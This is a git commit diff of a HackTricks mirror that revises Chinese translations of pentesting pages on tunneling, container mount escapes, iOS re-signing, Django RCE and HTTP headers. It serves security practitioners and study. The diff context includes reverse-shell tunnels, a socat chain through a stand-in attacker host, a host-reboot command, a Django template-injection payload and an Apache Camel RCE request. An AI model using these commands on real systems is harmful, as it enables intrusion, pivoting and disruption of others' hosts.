mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-hacking/tunneling-and-port-forwarding.md', 'src
This commit is contained in:
parent
951d1cb92b
commit
0c83aa9994
@ -57,7 +57,7 @@ ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port
|
||||
```
|
||||
### 反向端口转发
|
||||
|
||||
这对于从内部主机通过 DMZ 获取反向 shell 到您的主机非常有用:
|
||||
这对于从内部主机通过DMZ获取反向shell到您的主机非常有用:
|
||||
```bash
|
||||
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
||||
# Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000
|
||||
@ -93,7 +93,7 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
|
||||
|
||||
## SSHUTTLE
|
||||
|
||||
您可以通过**ssh**将所有**流量**通过主机**隧道**到**子网络**。\
|
||||
您可以通过**ssh**将所有**流量**隧道到一个**子网络**通过一个主机。\
|
||||
例如,转发所有流量到10.10.10.0/24
|
||||
```bash
|
||||
pip install sshuttle
|
||||
@ -157,13 +157,13 @@ rportfwd stop [bind port]
|
||||
需要注意:
|
||||
|
||||
- Beacon 的反向端口转发旨在 **将流量隧道传输到 Team Server,而不是在单个机器之间中继**。
|
||||
- 流量在 **Beacon 的 C2 流量中隧道传输**,包括 P2P 链接。
|
||||
- 流量是 **在 Beacon 的 C2 流量中隧道传输**,包括 P2P 链接。
|
||||
- **不需要管理员权限** 来在高端口上创建反向端口转发。
|
||||
|
||||
### rPort2Port 本地
|
||||
|
||||
> [!WARNING]
|
||||
> 在这种情况下,**端口在 beacon 主机上打开**,而不是在 Team Server 上,**流量发送到 Cobalt Strike 客户端**(而不是 Team Server),然后从那里发送到指定的主机:端口。
|
||||
> 在这种情况下,**端口是在 beacon 主机上打开的**,而不是在 Team Server 上,**流量被发送到 Cobalt Strike 客户端**(而不是 Team Server),然后从那里发送到指定的 host:port。
|
||||
```bash
|
||||
rportfwd_local [bind port] [forward host] [forward port]
|
||||
rportfwd_local stop [bind port]
|
||||
@ -250,7 +250,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127
|
||||
```bash
|
||||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
|
||||
```
|
||||
通过 **NTLM 代理** 进行中转
|
||||
通过 **NTLM 代理** 进行枢轴
|
||||
```bash
|
||||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
|
||||
```
|
||||
@ -294,6 +294,8 @@ victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server
|
||||
```bash
|
||||
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
|
||||
```
|
||||
[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/)
|
||||
|
||||
### SSL Socat Tunnel
|
||||
|
||||
**/bin/sh console**
|
||||
@ -345,10 +347,10 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
||||
```
|
||||
## SocksOverRDP & Proxifier
|
||||
|
||||
您需要拥有**系统的RDP访问权限**。\
|
||||
您需要拥有**系统的 RDP 访问权限**。\
|
||||
下载:
|
||||
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - 此工具使用Windows的远程桌面服务功能中的`动态虚拟通道`(`DVC`)。DVC负责**在RDP连接上隧道数据包**。
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - 此工具使用 Windows 远程桌面服务功能中的 `Dynamic Virtual Channels` (`DVC`)。DVC 负责**在 RDP 连接上隧道数据包**。
|
||||
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
|
||||
|
||||
在您的客户端计算机上加载**`SocksOverRDP-Plugin.dll`**,如下所示:
|
||||
@ -356,13 +358,13 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
||||
# Load SocksOverRDP.dll using regsvr32.exe
|
||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
```
|
||||
现在我们可以通过 **RDP** 使用 **`mstsc.exe`** 连接到 **victim**,我们应该收到一个 **提示**,说明 **SocksOverRDP 插件已启用**,并且它将 **监听** 在 **127.0.0.1:1080**。
|
||||
现在我们可以通过 **RDP** 使用 **`mstsc.exe`** 连接到 **victim**,我们应该收到一个 **prompt**,提示 **SocksOverRDP plugin is enabled**,并且它将 **listen** 在 **127.0.0.1:1080**。
|
||||
|
||||
通过 **RDP** 连接并在受害者机器上上传并执行 `SocksOverRDP-Server.exe` 二进制文件:
|
||||
通过 **RDP** 连接,并在受害者机器上上传并执行 `SocksOverRDP-Server.exe` 二进制文件:
|
||||
```
|
||||
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
||||
```
|
||||
现在,在你的机器(攻击者)上确认端口 1080 正在监听:
|
||||
现在在你的机器(攻击者)上确认端口 1080 正在监听:
|
||||
```
|
||||
netstat -antb | findstr 1080
|
||||
```
|
||||
@ -370,9 +372,9 @@ netstat -antb | findstr 1080
|
||||
|
||||
## 代理 Windows GUI 应用程序
|
||||
|
||||
您可以使用 [**Proxifier**](https://www.proxifier.com/) 使 Windows GUI 应用程序通过代理进行导航。\
|
||||
您可以使用 [**Proxifier**](https://www.proxifier.com/) 使 Windows GUI 应用程序通过代理导航。\
|
||||
在 **Profile -> Proxy Servers** 中添加 SOCKS 服务器的 IP 和端口。\
|
||||
在 **Profile -> Proxification Rules** 中添加要代理的程序名称和要代理的 IP 连接。
|
||||
在 **Profile -> Proxification Rules** 中添加要代理的程序名称和要代理的 IP 的连接。
|
||||
|
||||
## NTLM 代理绕过
|
||||
|
||||
@ -394,8 +396,8 @@ Domain CONTOSO.COM
|
||||
Proxy 10.0.0.10:8080
|
||||
Tunnel 2222:<attackers_machine>:443
|
||||
```
|
||||
现在,如果你在受害者的 **SSH** 服务上设置监听端口为 443。你可以通过攻击者的端口 2222 连接到它。\
|
||||
你也可以使用连接到 localhost:443 的 **meterpreter**,而攻击者在端口 2222 上监听。
|
||||
现在,如果你在受害者的 **SSH** 服务上设置监听端口为 443。你可以通过攻击者的 2222 端口连接到它。\
|
||||
你也可以使用连接到 localhost:443 的 **meterpreter**,而攻击者在 2222 端口监听。
|
||||
|
||||
## YARP
|
||||
|
||||
@ -413,7 +415,7 @@ attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
|
||||
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
|
||||
#You can see the victim at 1.1.1.2
|
||||
```
|
||||
隧道将非常慢。您可以通过使用以下命令创建一个压缩的SSH连接:
|
||||
隧道将非常慢。您可以通过使用以下命令在此隧道中创建一个压缩的SSH连接:
|
||||
```
|
||||
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
|
||||
```
|
||||
@ -576,7 +578,7 @@ cloudflared tunnel run mytunnel
|
||||
|
||||
## FRP (快速反向代理)
|
||||
|
||||
[`frp`](https://github.com/fatedier/frp) 是一个积极维护的 Go 反向代理,支持 **TCP、UDP、HTTP/S、SOCKS 和 P2P NAT 穿透**。从 **v0.53.0(2024年5月)** 开始,它可以充当 **SSH 隧道网关**,因此目标主机可以仅使用标准的 OpenSSH 客户端启动反向隧道 - 无需额外的二进制文件。
|
||||
[`frp`](https://github.com/fatedier/frp) 是一个积极维护的 Go 反向代理,支持 **TCP、UDP、HTTP/S、SOCKS 和 P2P NAT 穿透**。从 **v0.53.0 (2024年5月)** 开始,它可以充当 **SSH 隧道网关**,因此目标主机可以仅使用标准的 OpenSSH 客户端启动反向隧道 - 无需额外的二进制文件。
|
||||
|
||||
### 经典反向 TCP 隧道
|
||||
```bash
|
||||
|
@ -1,12 +1,12 @@
|
||||
# 敏感挂载
|
||||
# Sensitive Mounts
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
暴露 `/proc`、`/sys` 和 `/var` 而没有适当的命名空间隔离会引入重大安全风险,包括攻击面扩大和信息泄露。这些目录包含敏感文件,如果配置错误或被未经授权的用户访问,可能导致容器逃逸、主机修改,或提供有助于进一步攻击的信息。例如,错误地挂载 `-v /proc:/host/proc` 可能会由于其基于路径的特性绕过 AppArmor 保护,使得 `/host/proc` 处于未保护状态。
|
||||
暴露 `/proc`、`/sys` 和 `/var` 而没有适当的命名空间隔离会引入重大安全风险,包括攻击面扩大和信息泄露。这些目录包含敏感文件,如果配置错误或被未经授权的用户访问,可能导致容器逃逸、主机修改,或提供有助于进一步攻击的信息。例如,错误地挂载 `-v /proc:/host/proc` 可能会由于其基于路径的特性绕过 AppArmor 保护,使得 `/host/proc` 没有保护。
|
||||
|
||||
**您可以在** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)** 中找到每个潜在漏洞的更多详细信息。**
|
||||
|
||||
## procfs 漏洞
|
||||
## procfs Vulnerabilities
|
||||
|
||||
### `/proc/sys`
|
||||
|
||||
@ -55,21 +55,21 @@ ls -l $(cat /proc/sys/kernel/modprobe) # 检查对 modprobe 的访问
|
||||
#### **`/proc/sys/fs`**
|
||||
|
||||
- 根据 [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html),包含有关文件系统的选项和信息。
|
||||
- 写入访问可以启用针对主机的各种拒绝服务攻击。
|
||||
- 写入访问可能会对主机启用各种拒绝服务攻击。
|
||||
|
||||
#### **`/proc/sys/fs/binfmt_misc`**
|
||||
|
||||
- 允许根据其魔术数字注册非本地二进制格式的解释器。
|
||||
- 允许根据其魔数注册非本地二进制格式的解释器。
|
||||
- 如果 `/proc/sys/fs/binfmt_misc/register` 可写,可能导致特权升级或 root shell 访问。
|
||||
- 相关漏洞和解释:
|
||||
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
|
||||
- 深入教程:[视频链接](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
|
||||
### 其他在 `/proc` 中
|
||||
### 其他 `/proc` 中的内容
|
||||
|
||||
#### **`/proc/config.gz`**
|
||||
|
||||
- 如果启用了 `CONFIG_IKCONFIG_PROC`,可能会揭示内核配置。
|
||||
- 如果启用了 `CONFIG_IKCONFIG_PROC`,可能会泄露内核配置。
|
||||
- 对攻击者识别运行内核中的漏洞非常有用。
|
||||
|
||||
#### **`/proc/sysrq-trigger`**
|
||||
@ -84,7 +84,7 @@ echo b > /proc/sysrq-trigger # 重启主机
|
||||
#### **`/proc/kmsg`**
|
||||
|
||||
- 暴露内核环形缓冲区消息。
|
||||
- 可以帮助内核漏洞利用、地址泄漏,并提供敏感系统信息。
|
||||
- 可以帮助进行内核漏洞利用、地址泄漏,并提供敏感系统信息。
|
||||
|
||||
#### **`/proc/kallsyms`**
|
||||
|
||||
@ -102,7 +102,7 @@ echo b > /proc/sysrq-trigger # 重启主机
|
||||
#### **`/proc/kcore`**
|
||||
|
||||
- 以 ELF core 格式表示系统的物理内存。
|
||||
- 读取可能泄漏主机系统和其他容器的内存内容。
|
||||
- 读取可能会泄露主机系统和其他容器的内存内容。
|
||||
- 大文件大小可能导致读取问题或软件崩溃。
|
||||
- 详细用法见 [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)。
|
||||
|
||||
@ -132,7 +132,7 @@ echo b > /proc/sysrq-trigger # 重启主机
|
||||
|
||||
- 用于处理内核设备 `uevents`。
|
||||
- 写入 `/sys/kernel/uevent_helper` 可以在 `uevent` 触发时执行任意脚本。
|
||||
- **利用示例**:
|
||||
- **漏洞利用示例**:
|
||||
```bash
|
||||
|
||||
#### Creates a payload
|
||||
@ -273,10 +273,10 @@ So the filesystems are under `/var/lib/docker/overlay2/`:
|
||||
```bash
|
||||
$ sudo ls -la /var/lib/docker/overlay2
|
||||
|
||||
drwx--x--- 4 root root 4096 1月 9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
|
||||
drwx--x--- 4 root root 4096 1月 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
|
||||
drwx--x--- 4 root root 4096 1月 9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
|
||||
drwx--x--- 4 root root 4096 1月 9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
|
||||
drwx--x--- 4 root root 4096 1月 9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
|
||||
drwx--x--- 4 root root 4096 1月 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
|
||||
drwx--x--- 4 root root 4096 1月 9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
|
||||
drwx--x--- 4 root root 4096 1月 9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
|
||||
<SNIP>
|
||||
```
|
||||
|
||||
|
@ -6,9 +6,9 @@
|
||||
|
||||
使用 **entitlement `get_task_allow`** 签名的应用程序允许第三方应用程序运行一个名为 **`task_for_pid()`** 的函数,参数为初始应用程序的进程 ID,以便获取其任务端口(能够控制它并访问其内存)。
|
||||
|
||||
然而,这并不像简单地提取 IPA、用该权限重新签名并将其刷回设备那么简单。这是因为 FairPlay 保护。当应用程序的签名更改时,DRM(数字版权管理)密钥会 **失效,应用程序将无法工作**。
|
||||
然而,这并不像简单地提取 IPA、用 entitlement 重新签名并将其刷回设备那么简单。这是因为 FairPlay 保护。当应用程序的签名更改时,DRM(数字版权管理)密钥会 **失效,应用程序将无法工作**。
|
||||
|
||||
在旧的越狱设备上,可以安装 IPA,**使用你喜欢的工具进行解密**(如 Iridium 或 frida-ios-dump),然后将其提取回设备上。不过,如果可能,建议直接向客户端请求解密后的 IPA。
|
||||
在旧的越狱设备上,可以安装 IPA,**使用你喜欢的工具进行解密**(例如 Iridium 或 frida-ios-dump),然后将其提取回设备上。不过,如果可能,建议直接向客户端请求解密后的 IPA。
|
||||
|
||||
## 获取解密的 IPA
|
||||
|
||||
@ -18,14 +18,14 @@
|
||||
2. 在你的 macos 上安装并启动 [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12)
|
||||
3. 在你的 Mac 上打开 `Terminal`,并 cd 到 `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`。稍后 IPA 将出现在此文件夹中。
|
||||
4. 你应该能看到你的 iOS 设备。双击它,然后点击顶部菜单栏中的 Add + → Apps。
|
||||
5. 点击 Add 后,Configurator 将从 Apple 下载 IPA,并尝试将其推送到你的设备。如果你之前遵循我的建议并已安装 IPA,将会出现提示要求你重新安装该应用程序。
|
||||
5. 点击 Add 后,Configurator 将从 Apple 下载 IPA,并尝试将其推送到你的设备。如果你之前遵循我的建议并已安装 IPA,将会出现提示要求你重新安装应用程序。
|
||||
6. IPA 应该下载到 `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`,你可以从那里获取它。
|
||||
|
||||
查看 [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) 以获取有关此过程的更详细信息。
|
||||
查看 [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) 以获取有关此过程的更多详细信息。
|
||||
|
||||
### 解密应用程序
|
||||
|
||||
为了解密 IPA,我们将安装它。然而,如果你有一部旧的越狱 iPhone,可能其版本不被该应用程序支持,因为通常应用程序只支持最新版本。
|
||||
为了解密 IPA,我们将安装它。然而,如果你有一部旧的越狱 iPhone,可能其版本不被应用程序支持,因为通常应用程序只支持最新版本。
|
||||
|
||||
因此,为了安装它,只需解压 IPA:
|
||||
```bash
|
||||
@ -52,7 +52,7 @@ ideviceinstaller -i no-min-version.ipa -w
|
||||
|
||||
关于证书和签名配置文件,Apple 通过 Xcode 为所有账户提供 **免费的开发者签名配置文件**。只需创建一个应用并配置一个。然后,通过导航到 `Settings` → `Privacy & Security`,配置 **iPhone 以信任开发者应用**,并点击 `Developer Mode`。
|
||||
|
||||
使用重新签名的 IPA,现在可以将其安装到设备上进行渗透测试:
|
||||
使用重新签名的 IPA,现在可以在设备上安装它以进行渗透测试:
|
||||
```bash
|
||||
ideviceinstaller -i resigned.ipa -w
|
||||
```
|
||||
@ -60,13 +60,13 @@ ideviceinstaller -i resigned.ipa -w
|
||||
|
||||
### 启用开发者模式 (iOS 16+)
|
||||
|
||||
自 iOS 16 起,Apple 引入了 **Developer Mode**:任何携带 `get_task_allow` *或* 使用开发证书签名的二进制文件在设备上启用开发者模式之前将拒绝启动。除非此标志开启,否则您也无法附加 Frida/LLDB。
|
||||
自 iOS 16 起,Apple 引入了 **开发者模式**:任何携带 `get_task_allow` *或* 使用开发证书签名的二进制文件在设备上启用开发者模式之前将拒绝启动。除非此标志开启,否则您也无法附加 Frida/LLDB。
|
||||
|
||||
1. 安装或推送 **任何** 开发者签名的 IPA 到手机。
|
||||
2. 导航到 **设置 → 隐私与安全 → 开发者模式** 并将其切换为开启。
|
||||
3. 设备将重启;输入密码后,您将被要求 **开启** 开发者模式。
|
||||
|
||||
开发者模式保持激活状态,直到您禁用它或清除手机,因此此步骤每个设备只需执行一次。[Apple 文档](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device) 解释了安全隐患。
|
||||
开发者模式在您禁用它或清除手机之前保持激活,因此此步骤每个设备只需执行一次。[Apple 文档](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device) 解释了安全隐患。
|
||||
|
||||
### 现代侧载选项
|
||||
|
||||
@ -75,13 +75,13 @@ ideviceinstaller -i resigned.ipa -w
|
||||
| 工具 | 要求 | 优势 | 限制 |
|
||||
|------|--------------|-----------|-------------|
|
||||
| **AltStore 2 / SideStore** | macOS/Windows/Linux 伴侣,每 7 天使用免费开发者配置文件重新签名 IPA | 通过 Wi-Fi 自动重新加载,支持到 iOS 17 | 需要在同一网络上的计算机,Apple 限制 3 个应用 |
|
||||
| **TrollStore 1/2** | 设备在 iOS 14 – 15.4.1 受 CoreTrust 漏洞影响 | *永久* 签名(无 7 天限制);安装后无需计算机 | 不支持 iOS 15.5+(漏洞已修复) |
|
||||
| **TrollStore 1/2** | 设备在 iOS 14 – 15.4.1 中易受 CoreTrust 漏洞影响 | *永久* 签名(无 7 天限制);安装后无需计算机 | 不支持 iOS 15.5+(漏洞已修复) |
|
||||
|
||||
对于当前 iOS 版本的常规渗透测试,Alt/Side-Store 通常是最实用的选择。
|
||||
|
||||
### Hooking / 动态插桩
|
||||
|
||||
一旦您的应用使用 `get_task_allow` **并且** 开发者模式开启,您可以像在越狱设备上一样钩取您的应用:
|
||||
一旦您的应用使用 `get_task_allow` **并且** 开发者模式开启,您可以像在越狱设备上一样进行 Hook:
|
||||
```bash
|
||||
# Spawn & attach with objection
|
||||
objection -g "com.example.target" explore
|
||||
@ -111,7 +111,7 @@ MobSF 将自动部署二进制文件,在应用沙箱内启用 Frida 服务器
|
||||
## 参考文献
|
||||
|
||||
- [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
|
||||
- Apple 开发者文档 – 在设备上启用开发者模式:<https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device>
|
||||
- 移动安全框架 (MobSF):<https://mobsf.github.io/Mobile-Security-Framework-MobSF/>
|
||||
- Apple 开发者文档 – 在设备上启用开发者模式: <https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device>
|
||||
- 移动安全框架 (MobSF): <https://mobsf.github.io/Mobile-Security-Framework-MobSF/>
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,13 +1,13 @@
|
||||
# Django
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include /src/banners/hacktricks-training.md}}
|
||||
|
||||
## 缓存操控导致RCE
|
||||
Django的默认缓存存储方法是[Python pickles](https://docs.python.org/3/library/pickle.html),如果[不受信任的输入被反序列化](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf),可能导致RCE。**如果攻击者能够获得对缓存的写入访问权限,他们可以将此漏洞升级为底层服务器上的RCE**。
|
||||
|
||||
Django缓存存储在四个地方之一:[Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12)、[内存](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16)、[文件](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16)或[数据库](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95)。存储在Redis服务器或数据库中的缓存是最可能的攻击向量(Redis注入和SQL注入),但攻击者也可能利用基于文件的缓存将任意写入转化为RCE。维护者已将此标记为非问题。需要注意的是,缓存文件夹、SQL表名和Redis服务器的详细信息将根据实现而有所不同。
|
||||
|
||||
此HackerOne报告提供了一个很好的、可重复的利用Django缓存存储在SQLite数据库中的示例:https://hackerone.com/reports/1415436
|
||||
此HackerOne报告提供了一个很好的、可重现的利用Django缓存存储在SQLite数据库中的示例:https://hackerone.com/reports/1415436
|
||||
|
||||
---
|
||||
|
||||
@ -27,7 +27,7 @@ Django阻止对`__import__`的直接访问,但Python对象图是可达的:
|
||||
```django
|
||||
{{''.__class__.mro()[1].__subclasses__()}}
|
||||
```
|
||||
找到 `subprocess.Popen` 的索引(约400–500,具体取决于Python构建)并执行任意命令:
|
||||
找到 `subprocess.Popen` 的索引(约400-500,具体取决于Python构建)并执行任意命令:
|
||||
```django
|
||||
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
|
||||
```
|
||||
@ -38,7 +38,7 @@ Django阻止对`__import__`的直接访问,但Python对象图是可达的:
|
||||
---
|
||||
|
||||
## 基于 Pickle 的会话 Cookie RCE
|
||||
如果设置 `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` 被启用(或自定义反序列化 pickle 的序列化器),Django *在* 调用任何视图代码 **之前** 解密并反序列化会话 Cookie。因此,拥有一个有效的签名密钥(默认情况下是项目的 `SECRET_KEY`)就足以实现立即的远程代码执行。
|
||||
如果设置 `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` 被启用(或自定义反序列化 pickle 的序列化器),Django *在* 调用任何视图代码 **之前** 解密并反序列化会话 Cookie。因此,拥有有效的签名密钥(默认情况下是项目的 `SECRET_KEY`)足以实现即时远程代码执行。
|
||||
|
||||
### 利用要求
|
||||
* 服务器使用 `PickleSerializer`。
|
||||
@ -64,9 +64,9 @@ print(f"sessionid={mal}")
|
||||
|
||||
---
|
||||
|
||||
## 最近(2023-2025)高影响 Django CVE 渗透测试人员应检查
|
||||
## 最近(2023-2025)高影响力 Django CVE 渗透测试人员应检查
|
||||
* **CVE-2025-48432** – *通过未转义的 `request.path` 进行日志注入*(修复于 2025 年 6 月 4 日)。允许攻击者将换行符/ANSI 代码注入日志文件,并污染下游日志分析。补丁级别 ≥ 4.2.22 / 5.1.10 / 5.2.2。
|
||||
* **CVE-2024-42005** – *在 `JSONField` 上的 `QuerySet.values()/values_list()` 中的关键 SQL 注入*(CVSS 9.8)。构造 JSON 键以突破引号并执行任意 SQL。修复于 4.2.15 / 5.0.8。
|
||||
* **CVE-2024-42005** – *在 `JSONField` 上的 `QuerySet.values()/values_list()` 中的严重 SQL 注入*(CVSS 9.8)。构造 JSON 键以突破引号并执行任意 SQL。修复于 4.2.15 / 5.0.8。
|
||||
|
||||
始终通过 `X-Frame-Options` 错误页面或 `/static/admin/css/base.css` 哈希指纹识别确切的框架版本,并在适用时测试上述内容。
|
||||
|
||||
@ -76,4 +76,4 @@ print(f"sessionid={mal}")
|
||||
* Django 安全发布 – "Django 5.2.2, 5.1.10, 4.2.22 解决 CVE-2025-48432" – 2025 年 6 月 4 日。
|
||||
* OP-Innovate: "Django 发布安全更新以解决 SQL 注入缺陷 CVE-2024-42005" – 2024 年 8 月 11 日。
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include /src/banners/hacktricks-training.md}}
|
||||
|
@ -58,7 +58,7 @@
|
||||
|
||||
- **`X-Cache`** 在响应中可能具有值 **`miss`** 当请求未被缓存时,值 **`hit`** 当它被缓存时
|
||||
- 在头 **`Cf-Cache-Status`** 中有类似的行为
|
||||
- **`Cache-Control`** 指示资源是否被缓存以及下次资源将何时再次被缓存:`Cache-Control: public, max-age=1800`
|
||||
- **`Cache-Control`** 指示资源是否被缓存以及下次资源将被缓存的时间:`Cache-Control: public, max-age=1800`
|
||||
- **`Vary`** 通常在响应中使用,以 **指示额外的头**,这些头被视为 **缓存键的一部分**,即使它们通常没有键。
|
||||
- **`Age`** 定义对象在代理缓存中存在的时间(以秒为单位)。
|
||||
- **`Server-Timing: cdn-cache; desc=HIT`** 也指示资源已被缓存
|
||||
@ -108,7 +108,7 @@
|
||||
|
||||
## 控制
|
||||
|
||||
- **`Allow`**: 此头用于传达资源可以处理的 HTTP 方法。例如,它可能被指定为 `Allow: GET, POST, HEAD`,指示资源支持这些方法。
|
||||
- **`Allow`**: 此头用于传达资源可以处理的 HTTP 方法。例如,它可能被指定为 `Allow: GET, POST, HEAD`,表示资源支持这些方法。
|
||||
- **`Expect`**: 客户端用于传达服务器需要满足的期望,以便请求能够成功处理。一个常见的用例涉及 `Expect: 100-continue` 头,表示客户端打算发送大量数据负载。客户端在继续传输之前会寻找 `100 (Continue)` 响应。此机制有助于通过等待服务器确认来优化网络使用。
|
||||
|
||||
## 下载
|
||||
@ -148,7 +148,7 @@ el.innerHTML = escaped // Results in safe assignment.
|
||||
```
|
||||
### **X-Content-Type-Options**
|
||||
|
||||
此头部防止 MIME 类型嗅探,这是一种可能导致 XSS 漏洞的做法。它确保浏览器遵循服务器指定的 MIME 类型。
|
||||
此头部防止 MIME 类型嗅探,这是一种可能导致 XSS 漏洞的做法。它确保浏览器尊重服务器指定的 MIME 类型。
|
||||
```
|
||||
X-Content-Type-Options: nosniff
|
||||
```
|
||||
@ -158,7 +158,7 @@ X-Content-Type-Options: nosniff
|
||||
```
|
||||
X-Frame-Options: DENY
|
||||
```
|
||||
### **跨源资源策略 (CORP) 和跨源资源共享 (CORS)**
|
||||
### **Cross-Origin Resource Policy (CORP) and Cross-Origin Resource Sharing (CORS)**
|
||||
|
||||
CORP 对于指定哪些资源可以被网站加载至关重要,减轻跨站泄漏。另一方面,CORS 允许更灵活的跨源资源共享机制,在某些条件下放宽同源政策。
|
||||
```
|
||||
@ -181,7 +181,7 @@ Strict-Transport-Security: max-age=3153600
|
||||
```
|
||||
## Header Name Casing Bypass
|
||||
|
||||
HTTP/1.1 定义头字段名称为 **不区分大小写** (RFC 9110 §5.1)。然而,常常会发现自定义中间件、安全过滤器或业务逻辑在比较接收到的 *字面* 头名称时没有先进行大小写规范化 (例如 `header.equals("CamelExecCommandExecutable")`)。如果这些检查是 **区分大小写** 的,攻击者可以通过发送相同的头但使用不同的大小写来绕过它们。
|
||||
HTTP/1.1 定义头字段名称为 **不区分大小写** (RFC 9110 §5.1)。然而,常常会发现自定义中间件、安全过滤器或业务逻辑在比较接收到的 *字面* 头名称时没有先规范化大小写 (例如 `header.equals("CamelExecCommandExecutable")`)。如果这些检查是 **区分大小写** 的,攻击者可以通过发送相同的头但使用不同的大小写来绕过它们。
|
||||
|
||||
这种错误出现的典型情况:
|
||||
|
||||
@ -191,9 +191,9 @@ HTTP/1.1 定义头字段名称为 **不区分大小写** (RFC 9110 §5.1)。然
|
||||
|
||||
### Abusing the bypass
|
||||
|
||||
1. 识别一个在服务器端被过滤或验证的头(例如,通过阅读源代码、文档或错误消息)。
|
||||
2. 发送 **相同的头但使用不同的大小写**(混合大小写或大写)。因为 HTTP 堆栈通常只在用户代码运行后才规范化头,所以可以跳过脆弱的检查。
|
||||
3. 如果下游组件以不区分大小写的方式处理头(大多数是),它将接受攻击者控制的值。
|
||||
1. 识别一个在服务器端被过滤或验证的头 (例如,通过阅读源代码、文档或错误消息)。
|
||||
2. 发送 **相同的头但使用不同的大小写** (混合大小写或大写)。因为 HTTP 堆栈通常只在用户代码运行后才规范化头,所以可以跳过脆弱的检查。
|
||||
3. 如果下游组件以不区分大小写的方式处理头 (大多数都是),它将接受攻击者控制的值。
|
||||
|
||||
### Example: Apache Camel `exec` RCE (CVE-2025-27636)
|
||||
|
||||
@ -210,13 +210,13 @@ curl "http://<IP>/command-center" \
|
||||
|
||||
* 在执行允许/拒绝比较之前,将所有头部名称规范化为单一大小写(通常为小写)。
|
||||
* 拒绝可疑的重复项:如果同时存在 `Header:` 和 `HeAdEr:`,则将其视为异常。
|
||||
* 在规范化后使用强制的正面允许列表。
|
||||
* 在规范化后使用强制执行的正面允许列表。
|
||||
